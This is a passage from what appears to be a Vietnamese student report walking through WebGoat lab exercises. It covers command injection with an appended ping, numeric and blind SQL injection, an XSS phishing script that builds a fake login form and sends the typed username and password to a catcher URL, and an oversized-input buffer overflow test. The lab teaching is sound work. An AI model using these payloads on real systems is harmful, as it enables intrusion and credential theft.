Các dịch vụ web truyền đạt thông qua việc sử dụng các yêu cầu SOAP. Các
yêu cầu này được gửi đến một dịch vụ web nhằm thực hiện một chức năng được
định nghĩa trong ngôn ngữ định nghĩa dịch vụ web (WSDL).

Hình 2.28. Create a SOAP Request


2.4.14.2. WSDL Scanning
Các dịch vụ Web giao tiếp thông qua việc sử dụng các yêu cầu SOAP. Các
yêu cầu này được gửi đến một dịch vụ web nhằm thực hiện một chức năng được
định nghĩa trong tệp tin ngôn ngữ định nghĩa dịch vụ web (WSDL).

Yêu cầu là lấy một số số tín dụng của khách hàng thông qua việc kiểm tra
tệp WSDL cho dịch vụ web.

Hình 2.29. WSDL Scanning

30
CHƯƠNG III. THỰC NGHIỆM KHAI THÁC LỖ HỔNG VỚI ỨNG DỤNG
WEBGOAT
3.1. Cài đặt WebGoat
Bước 1: Cài đặt JDK. Tải JDK [6].
Bước 2: Cài đặt WebGoat. Tải WebGoat [7].
Sau đó vào trình duyệt gõ địa chỉ http://localhost:8080/WebGoat đăng nhập
tài khoản để bắt đầu thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat.

3.2. Thực nghiệm khai thác lỗ hổng ứng dụng web với WebGoat
3.2.1. Command Injection
Máy chủ web cho phép đọc một số file có sẵn trong hệ thống thông qua
lệnh cmd của máy chủ web. Các file đọc được hiển thị dưới dạng checkbox.
C:\Users\Administrator\Downloads\.extract\webapps\WebGoat\plugin_extr
acted\plugin\CommandInjection\resources\AccessControlMatrix.html
Máy chủ web trả về nội dung của file AccessControlMatrix.html.

Hình 3.1. Truy vấn bình thường khi chưa tấn công Command Injection
Muốn chèn mã lỗi lên server cần chặn bắt gói tin trên đường truyền và
chỉnh sửa gói tin đó trước khi gửi tới server.

Bước1: Mở Tamper lên để bắt gói tin. Trên thanh công cụ của trình duyệt
firefox chọn Tools -> Tamper ->Data -> StartTamper.

31
Hình 3.2. Tamper bắt gói tin
Sau khi bắt gói tin có thể biết được nhiều thông tin như địa chỉ ip, cổng
dịch vụ web, phiên bản trình duyệt, cookie và một vài thông tin khác. Trong đó có
phần HelpFlie, phần HelpFile là tên file hệ thống sẽ đọc từ input đã được chọn.

Bước 2: Chuyển đổi chuỗi Ping google.com sang chuỗi dạng URI vì khi
nhập phương thức chuyền ViewPOST này chỉ hỗ trợ chuỗi dạng URI.

Hình 3. 3. chuyển chuỗi sang URI


Để chuyển chuỗi sang URI vào trang: http://yehg.net/encoding/
Gõ: " & ping google.com. Sau đó ta chọn encodeURIComponent để đổi
chuỗi trên thành: %22%20%26%20ping%20google.com

Bước 3: Sau khi bắt được gói tin ta tiến hành sửa đoạn HelpFile bằng
đoạn: %22%20%26%20ping%20google.com. Rồi forward gói tin
Đây là câu truy vấn sau khi đã thay đổi tham số:
'cmd.exe/ctype"E:\Phanmem\webgoat\.extract\webapps\WebGoat\plugin_e
xtracted\plugin\CommandInjection\resources\" & ping google.com"'

Kết quả được trả về như hình dưới. Mã lỗi đã được thực hiện và server đã

32
ping đến google.com thành công.

Hình 3.4. Kết quả sau khi khai thác Command Injection
3.2.2. Numeric SQL Injection
Hệ thống cho phép xem thời tiết của một địa điểm nhất định. Danh sách địa
điểm này được hiển thị dưới dạng checkbox.

Hình 3. 5. Numeric SQL Injection


Khai thác lỗ hổng này, có thể tìm tất cả các bản ghi thời tiết của tất cả các
địa điểm bằng cách sửa đổi các câu truy vấn hợp lệ làm cho câu truy vấn ban đầu
bị sai lệch. Từ đó sẽ lấy được tất cả các bản ghi của tất cả các địa điểm.
Các bước thực hiện:
Bước 1: Đây là câu lệnh truy vấn xem thời tiết của Colombia:
SELECT * FROM weather_data WHERE station = 101
Trong đó 101 là giá tri station của Columbia.

33
Hình 3. 6. Kết quả xem thời tiết Colombia
Bước 2: Để lấy hết thông tin tất cả bản ghi ra thì thêm đoạn or 1=1 vào sau
câu truy vấn. Từ đó câu truy vấn trở thành:
SELECT * FROM weather_data WHERE station = 101 or 1=1
Trong câu truy vấn trên gồm hai phần:
 Phần trước WHERE là phần chính của câu truy vấn
 Phần sau WHERE là các điều kiện kèm theo của phần trước.

1=1 là luôn đúng, nên điều kiện WHERE station = 101 or 1=1 có vế sau luôn
đúng. Từ đó câu truy vấn “SELECT * FROM weather_data WHERE station =
101 or 1=1” luôn đúng. Vì vậy có thể in ra tất cả các bản ghi.

Hình 3.7. Kết quả Numbueric SQL Injection


3.2.3. Blind String SQL Injection
Hệ thống cho phép kiểm tra sự tồn tại của tài khoản thông số tài khoản input
nhập vào qua trường Enter your Account Number.

34
Hình 3.8. Blind StringSQL Injection
Các bước thực hiện:
Bước 1: Câu truy vấn:
SELECT * FROM user_data WHERE userid=accountNumber;
với accountNumber là số mà người dùng nhập vào.
Thử với 101=> Account number is valid.
Thử tiếp với 1000 => Invalid account number.
 Blind SQL Injection là một kiểu tấn công SQL Injection hỏi các câu hỏi
cơ sở dữ liệu đúng hoặc sai và xác định câu trả lời dựa trên phản ứng của ứng
dụng. Ở đây coi Account number is valid là giá trị đúng, Invalid account number
là giá trị sai.
Nhập đoạn mã sau:
101 AND (SUBSTRING((SELECT name FROM pins WHERE
cc_number='4321432143214321'), 1, 1) < 'H' ). Từ đó câu truy vấn gửi đến server
có dạng:
SELECT * FROM user_data WHERE userid=101 AND (SUBSTRING((SELECT
name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' )
Với toán tử AND, điều kiện userid =101 luôn đúng. Vì vậy tính đúng sai của
câu truy vấn này phụ thuộc vào phần (SUBSTRING((SELECT name FROM pins
WHERE cc_number='4321432143214321'), 1, 1) < 'H' ).
Sử dụng hàm SUBSTRING() đùng để cắt chuỗi. Hàm SUBSTRING (string,
start, length )
Trong đó:
String: là chuỗi cần cắt.
35
Start: là vị trí bắt đầu cắt chuỗi. Start là số nguyên, có thể âm.Nếu
start âm thì cắt từ cuối chuỗi và cắt ngược lại.
Length: là độ dài chuỗi cần cắt tính từ vị trí bắt đầu.
SELECT name FROM pins WHERE cc_number = '4321432143214321' là
chọn bản ghi của cột name từ bảng pins với điều kiện cc_number =
'4321432143214
(SUBSTRING((SELECT name FROM pins WHERE cc_number =
'4321432143214321'), 1, 1) < 'H' ) có thể hiểu là cắt chuỗi được lấy từ cột name
trong bảng pins với điều kiện cc_number = 4321432143214. Cắt từ đầu chuỗi và
lấy một kí tự ( lấy kí tự đầu tiên của chuỗi) so sánh xem có nhỏ hơn chữ ‘H’ trong
bảng chữ cái không.

Hình 3.9. Blind Numberic SQL Injection kết quả thử với chữ H
Kết quả trả Kết quả trả về là Invalid account number. Kết quả trả về sai.
Từ đó chữ đầu tiên của từ cần tìm là những chữ đứng sau chữ “H” trong
bảng chữ cái. Tiếp tục thử tiếp câu truy vấn:
SELECT * FROM user_data WHERE userid=101 AND
(SUBSTRING((SELECT name FROM pins WHERE
cc_number='4321432143214321'), 1, 1) < 'N' );
Kiểm tra chữ cái đầu tiên của từ cần tìm có nhỏ chữ “N” không.

Hình 3. 10. Kiểm tra chữ cái đầu tiên có nhỏ chữ “N” không.
36
Kết quả trả về là đúng.
Từ đó chữ đầu tiên trong từ cần tìm là chữ trong khoảng từ chữ “H” đến chữ
“N” trong bảng chữ cái.
Sau vài lần thử thì được kết quả là chữ đầu tiên trong từ cần tìm là chữ “J”.
Tiếp tục thử chữ cái đứng thứ 2 trong từ cần tìm có nhỏ hơn chữ “h” không.
SELECT * FROM user_data WHERE userid=101 AND
(SUBSTRING((SELECT name FROM pins WHERE
cc_number='4321432143214321'), 2, 1) < 'h' );

Hình 3. 11. Thử chữ cái đứng thứ 2 trong từ cần tìm có nhỏ hơn chữ “h” không
Kết quả trả về là sai.
Sau vài lần thử tìm được từ cần tìm là: Jill
3.2.4. Phishing with XSS
Các bước thực hiện:
Bước 1: Hệ thống cung cấp một form tìm kiếm. Kiểm tra xem server có bị
lỗi XSS hay không thì trong ô tìm kiếm nhập thử một đoạn <script> bất kì:
<script>alert(1) </script>
Hệ thống trả vể một popup đúng là giá trị ‘1’ vừa truyền vào từ ô tìm kiếm.

Hình 3. 12. Kết quả chèn thử với đoạn <script>alert(1) </script>
Như vậy có thể kết luận hệ thống bị lỗi XSS.

37
Bước 2: Thay vì truyền đoạn mã lỗi đơn giản như trên ta nhập vào một
đoạn mã phức tạp hơn để lấy cắp thông tin, cụ thể như sau:
Nhập đoạn mã sau:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src =
"http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+
document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name
= " + document.phish.user.value + "Password = " +
document.phish.pass.value);} </script><form name="phish"> <br><br> <HR>
<H3> account login:</H3 ><br><br>Enter Username:<br><input type="text"
name="user"><br>Enter Password:<br><input type="password" name =
"pass"><br><input type="submit" name="login" value="login"
onclick="hack()"></form><br><br><HR>
Đoạn mã trên có chức năng tạo một form đăng nhập giả mạo. Khi được
kích hoạt thì toàn bộ thông tin đăng nhâp gồm uername, password sẽ được hiển
thị.
Trong đó đoạn mã:
</script><form name="phish"> <br><br> <HR> <H3> account
login:</H3 ><br><br>Enter Username:<br><input type="text"
name="user"><br>Enter Password:<br><input type="password" name =
"pass"><br><input type="submit" name="login" value="login"
onclick="hack()"></form><br><br><HR>
Là để tạo ra 1 from đăng nhập có 2 trường nhập Username và Password và
một nút submit là login.

38
Hình 3.13. Giao diện đăng nhập giả mạo
Đoạn mã:
</form><script>function hack(){ XSSImage=new Image; XSSImage.src =
"http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+
document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name
= " + document.phish.user.value + "Password = " + document.phish.pass.value);}
Dùng để xử lí các chuỗi kí tự nhập vào từ from login vừa tạo ra. Khi người
dùng nhập vào thì hàm hack() sẽ bắt các ký tự và xử lý đưa ra thông báo tên tài
khoản, mật khẩu và hiển thị cookie người dùng.

Hình 3.14. Kết quả phishing with XSS

3.2.5. Buffer Overflows


Hệ thống cho hiển thị 3 trường nhập dữ liệu là: first nam, lastname, room
number.
Nhập các giá trị tùy ý. Ví dụ, first nam = thai, lastname = le, room number =1.

39
Hình 3. 15. Nhập giá trị khai thác lỗ hổng Buffer Overflow
Các giá trị nhập vào sẽ truyền dưới dạng ẩn. Dùng Firebug hiện thị mã
nguồn lên và tìm các tham số ẩn vừa nhập ở trên.

Dùng Firebug để thấy được các trường ẩn các giá trị vừa điền. Thông thường
các trường thường có giá trị giới hạn là 1024 kí tự, 2048 kí tự, 4096 kí tự. Vì vậy
để kiểm tra lỗi tràn bộ đệm thì nhập số kí tự vượt quá giá trị giới hạn của các
trường. Để kiểm tra xem có lỗi tràn bộ đệm không thì thường thử với các giá trị
1025, 2049, 4097 kí tự ứng với mỗi giá trị giới hạn của các trường vào các trường.
Hình dưới thử với 1025 kí tự.

Hình 3. 16. Buffer Overflow thử với 1025 kí tự

40
Kết quả là hệ thống vẫn hoạt động bình thường không có lỗi tràn bộ nhớ
đệm.
Tiếp theo thử với 4097 kí tự. Kết quả xuất hiện lỗi tràn bộ đệm.

Hình 3. 17. Kết quả tràn bộ nhớ đệm thử với 4097 kí tự
Với 4097 kí tự đã làm cho hệ thống xuất hiện lỗi tràn bộ đệm. Từ đó hệ
thống để lộ các thông tin về khách VIP. Kết quả:
First name: Johnathan
Lastname: Ravern
Room number: 4321.

41

You might also like